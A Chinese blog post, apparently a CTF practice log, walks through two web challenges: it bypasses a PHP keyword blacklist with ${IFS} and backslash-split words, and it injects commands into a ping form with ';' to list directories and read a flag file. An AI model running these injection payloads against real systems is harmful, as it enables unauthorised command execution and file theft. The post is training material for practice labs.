当前位置: 首页 > news >正文

【CTF刷题9】2024.10.19

[MoeCTF 2021]babyRCE

考点:关键词过滤(绕过方法参考往期博客)

来源:nssctf

 <?php$rce = $_GET['rce'];
if (isset($rce)) {if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {system($rce);}else {echo "hhhhhhacker!!!"."\n";}
} else {highlight_file(__FILE__);
} 

先用ls查看

image-20241019170841483

空格可以用${IFS}绕过
构造payload:

?rce=ca\t${IFS}fl\ag.php

image-20241019170919138

command_execution

考点:命令执行

来源:攻防世界

image-20241019182142415

先ping一下127.0.0.1

image-20241019182650673

再用;来连接两个命令 127.0.0.1;ls

image-20241019182844520

试试看能不能查看inddex.php

127.0.0.1;cat index.php

image-20241019183259450

很明显,不行,那就退级看看

image-20241019183409397

在home中发现flag。

image-20241019183459124

查看flag

127.0.0.1;cat …/…/…/home/flag.txt

image-20241019173221179

cyberpeace{ac541782e73fa1da4a98ec4bc3449fb1}

http://www.mrgr.cn/news/54026.html

相关文章:

  • SpringBoot和Vue的图片上传的解决方案
  • Environment类(提供了一种统一的方式来访问应用程序的配置属性)
  • 【C++语言】精妙的哈希算法:原理、实现与优化
  • 类型限定符(Type qualifier)
  • AI大模型是否有助于攻克重大疾病?
  • Plug-and-Play Diffusion Features for Text-Driven Image-to-Image Translation
  • 《重置MobaXterm密码并连接Linux虚拟机的完整操作指南》
  • Java--集合框架
  • 【OD】【E卷】【真题】【100分】补种未成活胡杨(PythonJavajavaScriptC++C)
  • 【C++】string类(2)
  • 选择、冒泡和插入排序及其优化版本课件
  • 揭秘A/B测试:如何用Z统计量和t统计量揭示成功背后的统计学奥秘
  • Linux——K8S平台的权限规划
  • 飞控开发软件有哪些?技术详解
  • 大模型照亮人工智能医疗助手的发展之路
  • CSP-J2023年复赛
  • 那些年 我们说走就走
  • 数学归纳法——第一数学归纳法、第二数学归纳法步骤和示例
  • RHCE--ntp客户端,时间服务器服务端
  • 【原创】java+ssm+mysql小区疫情管理系统设计与实现
  • 【Windows】检查当前登陆用户是否需要密码
  • 将本地文件上传到GIT上
  • [近源攻击]badusb制作
  • 解锁文本数据可视化的无限可能:Wordcloud库全解析
  • 项目管理APP推荐_功能对比与用户评价
  • springboot038基于SpringBoot的网上租赁系统设计与实现(论文+源码)_kaic